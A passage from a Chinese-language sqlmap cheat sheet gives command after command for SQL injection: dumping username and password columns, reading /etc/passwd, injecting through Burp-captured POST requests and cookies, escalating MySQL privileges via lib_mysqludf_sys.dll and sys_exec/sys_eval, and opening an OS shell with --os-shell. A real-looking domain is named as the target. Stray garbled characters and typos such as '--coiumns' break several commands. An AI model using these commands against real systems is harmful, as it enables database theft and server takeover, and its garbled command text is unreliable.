sqlmap.py -u URL –forms -D 數(shù)據(jù)庫(kù)名稱–tables
sqlmap.py -u URL –forms -D 數(shù)據(jù)庫(kù)名稱 -T 表名 –columns
sqlmap.py -u URL –forms -D 數(shù)據(jù)庫(kù)名稱 -T 表名 -Cusername约炎,password –dump
12.讀取linux下文件
sqlmap.py-u “url” –file /etc/password
13.延時(shí)注入
sqlmap.py -u URL –technique -T–current-user
- sqlmap 結(jié)合burpsuite進(jìn)行post注入
結(jié)合burpsuite來(lái)使用sqlmap:
(1)瀏覽器打開(kāi)目標(biāo)地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以攔截請(qǐng)求
(3)點(diǎn)擊登錄表單的submit按鈕
(4)Burp會(huì)攔截到了我們的登錄POST請(qǐng)求
(5)把這個(gè)post請(qǐng)求復(fù)制為txt, 我這命名為post.txt 然后把它放至sqlmap目錄下
(6)運(yùn)行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″ –dbs –level 2
默認(rèn)情況下SQLMAP只支持GET/POST參數(shù)的注入測(cè)試,但是當(dāng)使用–level 參數(shù)且數(shù)值>=2的時(shí)候也會(huì)檢查cookie里面的參數(shù),當(dāng)>=3的時(shí)候?qū)z查User-agent和Referer圾浅÷邮郑可以通過(guò)burpsuite等工具獲取當(dāng)前的cookie值,然后進(jìn)行注入:
sqlmap.py -u 注入點(diǎn)URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username狸捕,password --dump
16.mysql提權(quán)
(1)連接mysql數(shù)據(jù)打開(kāi)一個(gè)交互shell:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\
(2)利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄:
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
17.執(zhí)行shell命令
sqlmap.py -u “url” –os-cmd=”netuser” /執(zhí)行net user命令/
sqlmap.py -u “url” –os-shell /系統(tǒng)交互的shell/
18.延時(shí)注入
sqlmap –dbs -u"url" –delay 0.5 /延時(shí)0.5秒/
sqlmap –dbs -u"url" –safe-freq /請(qǐng)求2次/
參考文章:
https://github.com/sqlmapproject/sqlmap
https://github.com/sqlmapproject/sqlmap/wiki